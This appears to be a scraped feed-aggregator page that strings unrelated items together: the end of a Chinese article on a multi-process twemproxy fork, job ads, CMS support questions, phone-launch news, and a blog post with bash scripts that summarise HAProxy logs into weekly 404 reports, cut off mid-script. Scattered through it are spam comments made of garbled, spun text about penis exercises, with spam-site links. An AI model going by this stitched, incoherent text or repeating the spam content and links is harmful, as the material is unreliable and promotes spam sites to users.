在偶发问题的场景下,根据两种延时可以定位是 twemproxy、server 还是客户端的问题(比如 GC)导致慢请求,另外也可以慢请求的比例进行监控报警。这两种指标是通过 bucket 的方式来记录的,比如 <1ms 的数目,<10ms 的数目等等。

仍然存在的问题

  1. 在 worker 数目减少的场景下,被销毁的老 Worker 的 tcp backlog 会丢失会导致一些连接超时;

  2. unix socket 没有 reuse port 类似的机制,所以实际上还是单进程但可以支持在线 reload;

  3. 不支持 Memcached 二进制协议,几年前有人提供相关 PR 但一直都没有进入 master;

  4. 客户端的最大连接数有配置但实际上不生效,这个功能我们后续会加上;

  5. 命令支持不全(主要是没有 key 以及一些 blocking 的指令);

  6. reload 期间新老进程的配置不一致会可能会导致脏数据。

性能压测

以下数据是在长连接小包场景下压测得出,主要是验证多进程版本是否跟预期的一致。没有其他硬件到达瓶颈之前,性能可以随着 CPU 核数线性增长。

压测环境如下:

image

单个 worker 场景和 twemproxy 改造之前的性能差不多,在 10w 左右。随着 worker 数目增加,后面性能和 worker 基本是保持线上增长,符合预期。8 核以上的瓶颈是 bond0 模式下包接收不均匀导致单网卡性能达到瓶颈,数据无法作为参考。上面的数据也是我们自己环境的压测数据,大家可以自行验证。如果是多网卡需要注意绑定中断或者多队列到多个 CPU, 避免 CPU0 软中断处理成为瓶颈。

最后

多进程版本的 twemproxy 实现上算是比较简单,但过程中发现并修复不少 twemproxy 细节问题(一部分是使用方报告),比如 mbuf 一旦分配就不会收缩导致内存上涨之后不再下降的问题等等。很多功能细节我们也在不断优化,我们也只维护 Github 上的一个版本。

代码地址: https://github.com/meitu/twemproxy

除此之外,我们团队目前也开源其他一些项目:

  • golang 版本的 kafka consumer group

  • php 版本的 kafka consumer group

  • 基于以太坊的 DPoS 实现

后续还会开源更多的东西,欢迎大家多多关注~

最后感谢相关代码贡献者: @ruoshan @karelrooted @Huang-lin @git-hulk

引用

1 twitter/twemproxy https://github.com/twitter/twemproxy

2 meitu/twemproxy https://github.com/meitu/twemproxy

3 twmeporxy binary memcached https://github.com/twitter/twemproxy/tree/binary_memcache

4 soreuseport: TCP/IPv4 implementation https://lwn.net/Articles/542718/

5 The SO_REUSEPORT socket option https://lwn.net/Articles/542629/

相关阅读:

image

高可用架构

改变互联网的构建方式

image

长按二维码 关注「高可用架构」公众号


          PHP Back-end Developer - Contratación Directa NAB      Cache   Translate Page      
Buenos Aires - Buenos Aires C.F. Empresa de Tecnología se encuentra en la búsqueda de Full Stack PHP Developer (PHP, HTML, CSS, javascript), Framework... electrónico, te permitirá de estar al tanto de los últimos empleos por: php back-end developer - contratación directa nab-525 Suscribete Publica...
          DGA49] Full Stack PHP Developer (PHP, HTML, CSS, javascript)- Contratación Directa      Cache   Translate Page      
Buenos Aires - Empresa de Tecnología se encuentra en la búsqueda de Full Stack PHP Developer (PHP, HTML, CSS, javascript), Framework Laravel, github, Unit... de Full Stack PHP Developer (PHP, HTML, CSS, javascript), Framework Laravel, github, Unit Testing, para sumarse a su equipo. Responsabilidad...
          Full Stack PHP Developer (PHP, HTML, CSS, javascript)- Contratación Directa      Cache   Translate Page      
Buenos Aires - Empresa de Tecnología se encuentra en la búsqueda de Full Stack PHP Developer (PHP, HTML, CSS, javascript), Framework Laravel, github, Unit...
          GS312] | Php Developer Zona Vicente Lopez      Cache   Translate Page      
Vicente López, Provincia de Buenos Aires - electrónico, te permitirá de estar al tanto de los últimos empleos por: [gs312] | php developer zona vicente lopez Suscribete Publica un nuevo...
          PHP developer      Cache   Translate Page      
Gezocht, flexibele PHP developer welke op lokatie in Geldermalsen kan werken. Afhankelijk van je kennis en kunde zal je kunnen worden ingezet bij verschillende projecten. Vaardigheden: * Ervaring met bouw webapplicaties * PHP (medior niveau) * jQuery * CSS * Object georienteerd * Goede pro-actieve communicatieve vaardigheden * Goede analytische vaardigheden * Een flexibele, proactieve en zelfstandige werkhouding Het is een pre als je ook kennis hebt van YII2, GIT en Linux Wij verwachten je ongeveer 2 dagen in de week te kunnen inzetten...
          PHP developer      Cache   Translate Page      
Gezocht, flexibele PHP developer welke op lokatie in Geldermalsen kan werken. Afhankelijk van je kennis en kunde zal je kunnen worden ingezet bij verschillende projecten. Vaardigheden: * Ervaring met bouw webapplicaties * PHP (medior niveau) * jQuery * CSS * Object georienteerd * Goede pro-actieve communicatieve vaardigheden * Goede analytische vaardigheden * Een flexibele, proactieve en zelfstandige werkhouding Het is een pre als je ook kennis hebt van YII2, GIT en Linux Wij verwachten je ongeveer 2 dagen in de week te kunnen inzetten...
          Codeigniter customise Income and Expense Web app      Cache   Translate Page      
I need an experienced PHP codeigniter developer with a good understanding of Microsoft Excel functionality to build a web data entry and processing application for Income and Expense Management Details... (Budget: $30 - $250 USD, Jobs: Codeigniter, HTML, MySQL, PHP)
          Comment on ACTION: Immigrant Health Initiative by peniser i krukker      Cache   Translate Page      
Firstly, you hold the penis as you meditate on up this is the matrix allure to sustain to elevate your penis, full here the corner hand in clutches mark all on the verge of the penis dome, and another comestibles is there that hand. When you clout atsil.livetsmukt.com/online-konsultation/peniser-i-krukker.php on the penis, you should widen, and trade places your penis in ignoring of 30 times, recall that turn to the left. Then you can be struck aside a shut-eye; juggle your penis a pint-sized bit. Then, stand the penis, dilate it, and revolution it to the peaches, do it looking in search 30 times and learn a stop deliver of you moderate to another side.
          Codeigniter customise Income and Expense Web app      Cache   Translate Page      
I need an experienced PHP codeigniter developer with a good understanding of Microsoft Excel functionality to build a web data entry and processing application for Income and Expense Management Details... (Budget: $30 - $250 USD, Jobs: Codeigniter, HTML, MySQL, PHP)
          Commentaires sur Comment se rendre à Audinghen ? par behandling af knopper i ansigtet      Cache   Translate Page      
Firstly, you hamper the penis as you take this is the model nag to upraise your penis, unified apportionment protector all interconnected to the penis conk, and another index is hither that hand. When you have a job dedy.livetsmukt.com/for-kvinder/behandling-af-knopper-i-ansigtet.php on the penis, you should widen, and trade places your penis in warfare of 30 times, have in apprehension that middle to the left. Then you can receipts a inaction; scrub your penis a abridged bit. Then, upon the penis, dilate it, and veer it to the tow-headed, do it as a remedy for 30 times and down a bust bearing of you ploy to another side.
          PHP Developer – Liti Thessaloniki      Cache   Translate Page      
AMD Telecom, the global SMS & Voice connectivity provider launched the new brand Routee, a Web & API cloud communication solution, aiming to expand and simplify communication capabilities between people, applications, corporations and machines. The means to achieve such goals are through its provided products; Text (SMS) & Voice Messaging, Text to Speech, Email Messaging, Two Factor Authentication, Number Lookup, Number Validation and various plugins. Our global clients are revolutionaries, pioneers & some all-stars blue-chip companies, financial institutions, fashion icon...
          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio dedicated to helping brands develop their presence across...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un éventail complet de services numériques. Nous accompagnons les marques dans le...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          Civil Registry Associate - Unisys Managed Services - Kalinga      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 290 a day
From Indeed - Mon, 16 Jul 2018 06:51:58 GMT - View all Kalinga jobs
          Civil Registry Associate - Bontoc - Unisys Managed Services - Mountain Province      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 315 a day
From Indeed - Wed, 26 Sep 2018 03:42:59 GMT - View all Mountain Province jobs
          Loan Officer (Abatan, Buguias & Atok) - Ecumenical Church Foundation, inc. (ECLOF) - Benguet      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Agriculture/Aquaculture/Forestry, Business Studies... PHP 8,000 - PHP 11,000 a month
From Indeed - Thu, 27 Sep 2018 08:25:22 GMT - View all Benguet jobs
          Sales Supervisor - Brenton Internation Mfg. Corp. - Benguet      Cache   Translate Page      
Male/Female at least with 2 - 3 years work related experience in Retail/Sales Residence in La Trinidad, Benguet or nearby town willing to be assigned in... PHP 15,000 a month
From Indeed - Fri, 31 Aug 2018 02:33:56 GMT - View all Benguet jobs
          Getting a js.min error on bottom of my page.      Cache   Translate Page      

Replies: 0

I am getting this error on the bottom of my site

Fatal error: Uncaught JSMin_UnterminatedStringException: JSMin: Unterminated String at byte 459: ‘http://support.heateor.com/browser-blocking-social-features/\’ target=\’_blank\’ style=\’color:#33a9d8\’>http://support.heateor.com/browser-blocking-social-features/ to unblock these.`; in /var/www/html/demo/wp-content/plugins/autoptimize/classes/external/php/jsmin.php:211 Stack trace: #0 /var/www/html/demo/wp-content/plugins/autoptimize/classes/external/php/jsmin.php(152): JSMin->action(1) #1 /var/www/html/demo/wp-content/plugins/autoptimize/classes/external/php/jsmin.php(86): JSMin->min() #2 /var/www/html/demo/wp-content/plugins/autoptimize/classes/autoptimizeSpeedupper.php(38): JSMin::minify(‘var theChampDef…’) #3 /var/www/html/demo/wp-includes/class-wp-hook.php(286): autoptimizeSpeedupper->js_snippetcacher(‘var theChampDef…’, ”) #4 /var/www/html/demo/wp-includes/plugin.php(203): WP_Hook->apply_filters(‘var theChampDef…’, Array) #5 /var/www/html/demo/wp-content/plugins/autoptimize/classes/autoptimizeScripts.php( in /var/www/html/demo/wp-content/plugins/autoptimize/classes/external/php/jsmin.php on line 211

I am using autoptimize could you please check if it is from your plugin or autoptimize?


          Fatal error message      Cache   Translate Page      

Replies: 0

Hello,
I can’t log in on my website anymore and whenever I even simply try to display the website there is this message:
Fatal error: Can’t use method return value in write context in /home/horlaorg/public_html/wp-content/plugins/accordions/includes/class-WPAdminSettings.php on line 657
Can you please let me know where the error comes from and how to fix it? Is it a plugin that needs to be fixed?
Thank you in advance.
Faust


          subject text not changing, when already copied to theme      Cache   Translate Page      

Replies: 0

Hi,
I am having problems with the subject text updating when I use the customiser and I believe it is due to the fact that for the emails I am trying to customise I have already copied these to the theme.

So in the notifcation setting, I have pushed the “copy file to theme” in the section that says:

“To override and edit this email template copy woocommerce/templates/emails/admin-new-order.php to your theme folder: theme/woocommerce/emails/admin-new-order.php.”

Please advise.


          Generate apis from database to use them in mobile applications - Website Programming Freelance Job      Cache   Translate Page      
Hello Looking for fast developer to make apis from database to use them in mobile application Using any php framework
          Estagiário Programador Php - Grupo Neo - Barretos, SP      Cache   Translate Page      
Regime de contratação de tipo Estágio Jornada Parcial manhãs Candidato cursando ou recém-formado em: ciência da computação, sistemas de informação ou...
De Grupo Neo - Wed, 08 Aug 2018 17:06:33 GMT - Visualizar todas as empregos: Barretos, SP
          rrssb Ridiculously Responsive Social Sharing Buttons      Cache   Translate Page      

I installed rrssb following the instructions for manual installation. Functionality is fine, but for the color scheme I end up with this:

Only local images are allowed.

(ok, so it does not want my png, just another drupal wall I hit,  I'll describe it: blue letters on blue, red or black background. )

I tried to update rrssb.buttons.css (background color set to FFFFFF) but of course without success. Where can I change this? 

Also the settings do not seem to have any effect, neither maximum rows nor sizes. 

Drupal 8.61, php 7.1

Drupal version: 

          Joomla! 3.8.13      Cache   Translate Page      
Versie 3.8.13 van Joomla! is uitgekomen. Joomla! is een dynamisch, in php geschreven contentmanagementsysteem, dat kan worden gebruikt om bijvoorbeeld een weblog, website of samenwerkingssite te maken. Om het programma in het Nederlands te gebruiken, kun je onder andere op Joomla Community terecht. In versie 3.8 zijn onder meer voorbereidingen gemaakt om naar de nu nog in ontwikkeling zijnde Joomla! 4.0 te kunnen migreren en is ondersteuning voor Sodium Encryption toegevoegd. De releasenotes voor versie 3.8.13 zien er als volgt uit:
          PHP DEVELOPER- 6 MONTHS + BRUSSELS (BELGIUM) FREELANCE - Vivid Resourcing - Brussels      Cache   Translate Page      
PHP DEVELOPER- 6 MONTHS + BRUSSELS (BELGIUM) FREELANCE My client located in Brussels are seeking a freelance PHP developer to join them immediately for an initial 6 month contract. The client are a start-up organisation who provide a software service using big data to provide analytics. Role: Developer using latest PHP technologies and to be part of the decision making for the technology / framework choice of the client's platform Provide experience to build microservices Ability to...
          Planet - PHP Developer - IT Planet - Harelbeke, Ieper      Cache   Translate Page      
De klant is bezig met de realisatie van een eigen software-platform voor de efficiënte werking van hun kantoren, in de vorm van een Web-applicatie. De functionele analyse en het ontwerp hiervoor werd reeds gemaakt, de implementatie ervan loopt momenteel in samenwerking met een softwarehuis. Om de opgestelde opleverdatum van 2 januari te halen voor de eerste versie van het systeem, hebben ze echter meer ontwikkelaars nodig. Ook in het begin van 2019 kunnen ze nog bijkomende krachten...
          Warehouse Supervisor - Ace Hardware Philippines, Inc. - Tagum      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , any field. * Atleast 1 to 2 years supervisory experience specializing in Logistics, Supply... PHP 20,000 a month
From Indeed - Fri, 27 Jul 2018 10:50:34 GMT - View all Tagum jobs
          Treasury Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management or equivalent. * Applicants must be willing to work... PHP 12,000 - PHP 16,000 a month
From Indeed - Mon, 01 Oct 2018 11:20:48 GMT - View all Ormoc City jobs
          Cashier - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Business Studies/Administration/Management or... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:40 GMT - View all Ormoc City jobs
          Stock Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Preferably Less than 1 year experience specialized... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:26 GMT - View all Ormoc City jobs
          Sales Utility Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Responsible for performing over-the-counter selling... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:16:39 GMT - View all Ormoc City jobs
          Sales Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management, any Technical Course or equivalent. * Applicants... PHP 10,000 - PHP 12,000 a month
From Indeed - Mon, 01 Oct 2018 11:11:22 GMT - View all Ormoc City jobs
          Warehouse Supervisor - Danao - Ace Hardware Phils., Inc. - Danao      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * At least 2 Year(s) of working experience in receiving, dispatching and inventory... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:29:04 GMT - View all Danao jobs
          Treasury Assistant - Cebu - Ace Hardware Phils., Inc. - Cebu      Cache   Translate Page      
*TREASURY ASSISTANT* The Treasury Assistant is under the supervision of the Treasury Supervisor; responsible for Treasury clerical functions relative to sales... PHP 10,000 - PHP 15,000 a month
From Indeed - Mon, 17 Sep 2018 07:26:25 GMT - View all Cebu jobs
          Store Supervisor - Cebu - Ace Hardware Phils., Inc. - Cebu City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * Required Skill(s): ENGLISH, FILIPINO * Preferably atleast 2 years experience... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:33:21 GMT - View all Cebu City jobs
          The Indian Express Script | Firstpost Script      Cache   Translate Page      
Our India times clone is mainly developed for the people to take up their news-portal business through on-line to provide a brand new professional news-portal script with advanced features and functionality to enhance the business to make latest and trends easier access to the users and this script will also help the new entrepreneur who likes to do on-line business and to provide the latest trending trusted news service with reliable and robust script, this India times script makes much easier for the users to access the site without any technical knowledge because our script is made as user-friendly. The Indian Express Script is designed with Open Source PHP platform to make the script as much as efficient to the user, this script can be customized to the users as globalised or local to make their reach to the worldwide and here the new user can simply register their account with their valid mail id and password to make authentication account
          Promotional video Production Bangalore Explainer Video Company      Cache   Translate Page      
This is digital days a professional corporate video will allow you to interact and effectively engage with your target audience. The goal is for the user to understand what the product does. A walking through all the features and product demo will give answers for the user.For more info contact (Deepak) or visit - hycombindia corporate-videos-animation.php Images and contact info on Advertigo website.
          PHP 7.1.23, 7.2.11, 7.3.0 RC3 released      Cache   Translate Page      
The following new PHP versions has been released: PHP 7.1.23, PHP 7.2.11, and PHP 7.3.0 RC3...
          OPPO K1 with In-Display fingerprint scanner goes official!      Cache   Translate Page      
In China, OPPO launched the, an OPPO F9-looking phone with Vivo V11-like In-Display scanner and Qualcomm Snapdragon 660 AIE processor inside.
OPPO K1 with In-Display fingerprint scanner goes official!
Meet OPPO K1

It also has a glass-like material at the back with mocha red and van gogh blue gradient color.
OPPO K1 red
OPPO K1 red

As expected, the OPPO K1 features decent mid-range grade specs. It has 4GB or 6GB RAM and 64GB storage with microSD expansion slot. It also has the same 3,500mAh battery found on the F9. But, it now has a USB Type-C charging port.

At the back, it highlights a 16MP + 2MP dual-camera setup. In front, there's a 25MP snapper. Both are assisted by AI. The selfie cam has OPPO's AI beauty technology.

The phone also has WiFi 802.11 a/b/g/n/ac, 4G LTE w/ VoLTE, Bluetooth 5.0 tech, GPS, A-GPS, GLONASS, BDS, and Android 8.1 Oreo OS with ColorOS 5.2 skin on the top.

It measures at 158.3 x 75.5 x 7.4 mm and weighs at 156 g.

The OPPO K1 is now on pre-order in China. Price starts at CNY 1,599 (PHP 12.5K) for the 4GB RAM model and CNY 1,799 (PHP 14K) for the 6GB RAM variant.

Source: NDTV

          Honor Band 4 Running launched in PH too, priced!      Cache   Translate Page      
Aside from the Honor 8X, Honor also launched the Honor Band 4 Running for the Philippine market. It will be available from November 2018 for PHP 1,299 only!
Honor Band 4 Running launched in PH too, priced!
Honor Band 4 now in PH!

It boasts a 50 meter water resistant body with 0.95-inch POLED screen with 2.5D curved glass. It also has dedicated home button.

The new Honor Band highlights with 24-hour continuous heart rate tracking running, walking, cycling and more. It also has 6-axis sensor and swim stroke recognition.
Water resistant design!

The sensor offers improved running detection by measuring cadence, step length, ground contact time, foot strike pattern, landing impact, eversion excursion, and swing angle.

It also has the TruSleep 2.0 tech which uses cardiopulmonary coupled dynamics spectrum (CPC) to monitor sleep. It include deep sleep (REM) which can analyze sleep and offer personalized sleep recommendations.

The Honor Band 4 Running also has 77mAh battery with up to 20 days of standby time.

We do not know the exact date of availability of this device yet.

We will keep you posted!

What do you guys think?

          Honor 8X with 128GB ROM launched in the Philippines with an unreal price tag!      Cache   Translate Page      
Honor made the Honor 8X with 128GB ROM official for the Philippine market. The best part? The price!
Honor 8X with 128GB ROM launched in the Philippines with an unreal price tag!
Honor 8X with 128GB ROM launched in the Philippines with an unreal price tag!

Related: Honor 8X Unboxing and First Impressions

The Honor 8X with massive 128GB of storage is priced at just PHP 12,990. It is one of the most affordable in the country for the design, specs, and cameras.
Big screen
Big screen

To recall, the Honor 8X is equipped with a premium/stylish metal/glass construction. In front, it has the HUGE 6.5-inch FHD+ 19:5:9 screen with a notch. But, it has 91 percent of screen-to-body ratio and an impressive 4.2 mm slim chin.


Watch: Honor 8X vs Vivo V11 - Which phone has better screen, battery life, and AI camera?

The result? It is just as small as traditional 6-inch phones even if it has a large 6.5-inch screen.
Glass back
Glass back

Inside, this handset is also a beast for the price. As a matter of fact, it is the most affordable in the country with the new Kirin 710 AI processor with GPU Turbo-assisted Mali-G51 MP4 GPU. It is paired with 4GB RAM and large 3,750mAh battery.
Dual cam!
Dual cam!

Moreover, it also has an impressive 20MP f/1.8 + 2MP w/ PDAF, contrast focus, Master AI, and LED flash. It even has a cool handheld (no tripod) long exposure night mode.

See also: Honor Band 4 Running launched in PH too, priced!

For selfies, you will find a 16MP f/2.0 AI face beauty enabled front camera.

Like most modern mid-range phones, the Honor 8X has a fingerprint scanner and face unlock tech.

It loads with Android 8.1 Oreo OS with EMUI 8.2 skin on the top.

Honor 8X Specs

Display: 6.5-inch 2.5D curved IPS screen w/ FHD+ 2340 x 1080 resolution at 396 ppi
CPU: 2.2GHz 64-bit Kirin 710 octa-core processor
GPU: Mali-G51 MP4 w GPU Turbo
RAM: 4GB
ROM: 128GB expandable via microSD card slot up to 400GB (dedicated)
Back Camera: 20MP f/1.8 + 2MP w/ PDAF, contrast focus, Master AI, and LED flash
Selfie Camera: 16MP f/2.0 w/ AI face beauty
Battery: 3,750mAh
OS: Android 8.1 Oreo w/ EMUI 8.2
Connectivity: WiFi 802.11b/g/n (2.4GHz/5GHz), 700MHz 4G LTE, Bluetooth 4.2, BLE, HWA, aptX, and aptX HD, FM Radio, OTG, GPS, A-GPS, GLONASS, BeiDou, dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Fingerprint sensor, face unlock, Colors: black, blue, red, purple
Dimensions: 160.4 x 76.6 x 7.8 mm
Weight: 175 g
Price: PHP 12,990

In addition, Honor also announced a special treat to those who will buy the Honor 8X at the opening of the very first Honor Brand Shop in the Philippines at SM North EDSA on October 13 to 14.
v
Honor Philippines store opening promo

They will receive a FREE gift box, backpack, travel kit.

Meanwhile, those who will pre-order at MemoXpress will get exclusive freebies worth PHP 2,499.

It will also be available at Shopee, Lazada, and Argomall online.

What do you guys think?

          Комментарий к записи ТОП колод паладина недели (hvordan foles en erektion)      Cache   Translate Page      
Firstly, you convoke fixed the penis as you characterize as this is the pattern escort on to for allowances in return to elevate your penis, complete in associated with in might enclosing the penis chairlady, and another incarceration is hither that hand. When you summer-house sallde.livetsmukt.com/bare-at-gore/hvordan-fles-en-erektion.php on the penis, you should stretch, and on your penis in roland for an oliver for 30 times, disallow possession of that make up to the left. Then you can get a breathing-space; palpate your penis a coddle bit. Then, pocket the scene of the penis, disfigure it, and perform disc it to the principled, do it in see of 30 times and down a bust ahead you direct to another side.
          How to aggregate weekly data to create custom statistics      Cache   Translate Page      

Recently, I have parsed logs of several applications to generate custom weekly reports. It was very interesting exercise. I created two shell scripts to illustrate the whole idea by parsing HAProxy log files, so I could remember it in the future.

Display top 404 pages

Shell script used to display top 404 pages for last three weeks for web frontend and blog, statistics backends.

#!/bin/bash
# Display weekly top 404 requests for n previous weeks

# number of previous weeks
number_of_weeks="3"

# directory to keep aggregated data
aggregated_logs_directory="/tmp/aggregated"

# application name
application="haproxy"

# application log files
log_filename="/var/log/haproxy.log*"

# date format to search for: [15/Mar/2018:
file_log_date_format="\[%d/%b/%Y:"

# file types to search for: [a-Z0-9]\+\.\(php\|html\|txt\|png\)
file_types="php html txt png"

# frontends to filter
limit_frontends="^web$"
#limit_frontends=".*"

# backends to filter
limit_backends="blog\|statistics"
#limit_backends=".*"

# Print current date
echo "Current date: $(date)"
echo

# create aggregated log directory if it is missing
if [ ! -d "${aggregated_logs_directory}" ]; then
  echo "Creating aggregated log directory \"${aggregated_logs_directory}\""
  mkdir "${aggregated_logs_directory}"
else
  echo "Using aggregated log directory \"${aggregated_logs_directory}\""
fi

# loop over previous weeks
for n_weeks_ago in $(seq 1 ${number_of_weeks}); do
  # define pretty date from/to
  loop_pretty_date_from=$(date +%d/%b/%Y --date "last monday - ${n_weeks_ago} week + 0 day")
  loop_pretty_date_to=$(date +%d/%b/%Y --date "last monday - ${n_weeks_ago} week + 6 day")

  # define machine date from/to
  loop_txt_date_from=$(date +%Y%m%d --date "last monday - ${n_weeks_ago} week + 0 day")
  loop_txt_date_to=$(date +%Y%m%d --date "last monday - ${n_weeks_ago} week + 6 day")

  # define log filename
  aggregated_log_filename="${application}_${loop_txt_date_from}-${loop_txt_date_to}.log"

  # aggregate data
  if [ ! -f "${aggregated_logs_directory}/${aggregated_log_filename}" ]; then
    echo "Creating ${aggregated_log_filename} log file to store data from ${loop_pretty_date_from} to ${loop_pretty_date_to}"
    for weekday in $(seq 0 6); do
      zgrep $(date +${file_log_date_format} --date "last monday - ${n_weeks_ago} weeks + ${weekday} days") ${log_filename} | tee -a ${aggregated_logs_directory}/${aggregated_log_filename} >/dev/null
    done
  else
    echo "Using existing ${aggregated_log_filename} log file that contain data from ${loop_pretty_date_from} to ${loop_pretty_date_to}"
  fi

  # parse data
  if [ -f "${aggregated_logs_directory}/${aggregated_log_filename}" ]; then
    echo "Parsing data from ${loop_pretty_date_from} to ${loop_pretty_date_to} (${n_weeks_ago} week/weeks ago)"

    # filter frontends
    frontends=$(awk '{if ($8 !~ ":" && $8 !~ "~"  && !seen_arr[$8]++) print $8}' ${aggregated_logs_directory}/${aggregated_log_filename} | grep "${limit_frontends}")

    # filter backends and highlight nosrv
    backends=$(awk '{split($9,backend,"/");if ($8 !~ ":" && !seen_arr[backend[1]]++) {if (backend[2] !~ "NOSRV" )  print backend[1]; else print "NOSRV";}}' ${aggregated_logs_directory}/${aggregated_log_filename} | grep "${limit_backends}" | sort)

    # parse each log file for top 404 pages
    for frontend in ${frontends}; do
      echo "${frontend} frontend"
      for backend in ${backends}; do
        echo "->${backend}"
        if [ "${backend}" = "NOSRV" ]; then
          not_found_list=$(grep "${frontend}\([~]\)\? ${frontend}/"  ${aggregated_logs_directory}/${aggregated_log_filename} | awk '$11 == "404" {query=substr($0,index($0,$18)); print query}' | sort  | uniq -c | sort -hr | head)
        else
          not_found_list=$(grep "${frontend}\([~]\)\? ${backend}/"  ${aggregated_logs_directory}/${aggregated_log_filename} | awk '$11 == "404" {query=substr($0,index($0,$18)); print query}' | sort  | uniq -c | sort -hr | head)
        fi

        if [ -z "$not_found_list" ]; then
          echo "  --- none ---"
        else
          echo  "$not_found_list"
        fi
      done
    done
    echo
  fi
done

Sample output.

Current date: Fri Mar 16 19:06:41 CET 2018

Creating aggregated log directory "/tmp/aggregated"
Creating haproxy_20180305-20180311.log log file to store data from 05/Mar/2018 to 11/Mar/2018
Parsing data from 05/Mar/2018 to 11/Mar/2018 (1 week/weeks ago)
web frontend
->web-blog-production
    892 "GET /wp-login.php HTTP/1.1"
    596 "GET /apple-touch-icon.png HTTP/1.1"
    560 "GET /apple-touch-icon-precomposed.png HTTP/1.1"
    470 "GET /xfavicon.png.pagespeed.ic.ITJELUENXe.png HTTP/1.1"
     74 "GET /assets/images/blog_sleeplessbeastie_eu_image.png HTTP/1.1"
     72 "GET /tags/index.php HTTP/1.0"
     72 "GET /index.php HTTP/1.0"
     66 "GET /2013/01/21/how-to-automate-mouse-and-keyboard/index.php HTTP/1.0"
     66 "GET /01/21/how-to-automate-mouse-and-keyboard/index.php HTTP/1.0"
     40 "GET /favicon.png.pagespeed.ce.I9KrGowxSl.png HTTP/1.1"
->web-statistics-production
  --- none ---

Creating haproxy_20180226-20180304.log log file to store data from 26/Feb/2018 to 04/Mar/2018
Parsing data from 26/Feb/2018 to 04/Mar/2018 (2 week/weeks ago)
web frontend
->web-blog-production
   1012 "GET /wp-login.php HTTP/1.1"
    568 "GET /apple-touch-icon.png HTTP/1.1"
    554 "GET /apple-touch-icon-precomposed.png HTTP/1.1"
    502 "GET /xfavicon.png.pagespeed.ic.ITJELUENXe.png HTTP/1.1"
     72 "GET /tags/index.php HTTP/1.0"
     72 "GET /index.php HTTP/1.0"
     72 "GET /assets/images/blog_sleeplessbeastie_eu_image.png HTTP/1.1"
     44 "GET /favicon.png.pagespeed.ce.I9KrGowxSl.png HTTP/1.1"
     26 "HEAD /apple-touch-icon-precomposed.png HTTP/1.1"
     26 "HEAD /apple-touch-icon.png HTTP/1.1"
->web-statistics-production
  --- none ---

Creating haproxy_20180219-20180225.log log file to store data from 19/Feb/2018 to 25/Feb/2018
Parsing data from 19/Feb/2018 to 25/Feb/2018 (3 week/weeks ago)
web frontend
->web-blog-production
   1068 "GET /wp-login.php HTTP/1.1"
    846 "GET /apple-touch-icon.png HTTP/1.1"
    816 "GET /apple-touch-icon-precomposed.png HTTP/1.1"
    134 "GET /xfavicon.png.pagespeed.ic.ITJELUENXe.png HTTP/1.1"
     66 "GET /tags/index.php HTTP/1.0"
     66 "GET /index.php HTTP/1.0"
     44 "GET /2013/01/21/how-to-automate-mouse-and-keyboard/index.php HTTP/1.0"
     42 "GET /01/21/how-to-automate-mouse-and-keyboard/index.php HTTP/1.0"
     40 "GET /assets/images/blog_sleeplessbeastie_eu_image.png HTTP/1.1"
     32 "HEAD /apple-touch-icon-precomposed.png HTTP/1.1"
->web-statistics-production
      4 "HEAD /https://statistics.sleeplessbeastie.eu/ HTTP/1.1"
      4 "GET /rules.abe HTTP/1.1"

Display specified file types occurence

Shell script used to display weekly statistics for specified file types occurence.

#!/bin/bash
# Display weekly statistics for several file types for n previous weeks

# diplay mode
# 1 - pretty
# 2 - regular
display_mode="1"

# number of previous weeks
number_of_weeks="3"

# directory to keep aggregated data
aggregated_logs_directory="/tmp/aggregated"

# application name
application="haproxy"

# application log files
log_filename="/var/log/haproxy.log*"

# date format to search for: [15/Mar/2018:
file_log_date_format="\[%d/%b/%Y:"

# file types to search for: [a-Z0-9]\+\.\(php\|html\|txt\|png\)
file_types="php html txt png"

# frontends to filter
limit_frontends="^web$"
#limit_frontends=".*"

# backends to filter
limit_backends="NOSRV\|blog\|statistics"
#limit_backends=".*"

# Print current date
echo "Current date: $(date)"
echo

# create aggregated log directory if it is missing
if [ ! -d "${aggregated_logs_directory}" ]; then
  if [ "${display_mode}" -eq "1" ]; then
    echo "Creating aggregated log directory \"${aggregated_logs_directory}\""
  fi
  mkdir "${aggregated_logs_directory}"
else
  if [ "${display_mode}" -eq "1" ]; then
    echo "Using aggregated log directory \"${aggregated_logs_directory}\""
  fi
fi

# loop over previous weeks
for n_weeks_ago in $(seq 1 ${number_of_weeks}); do
  # define pretty date from/to
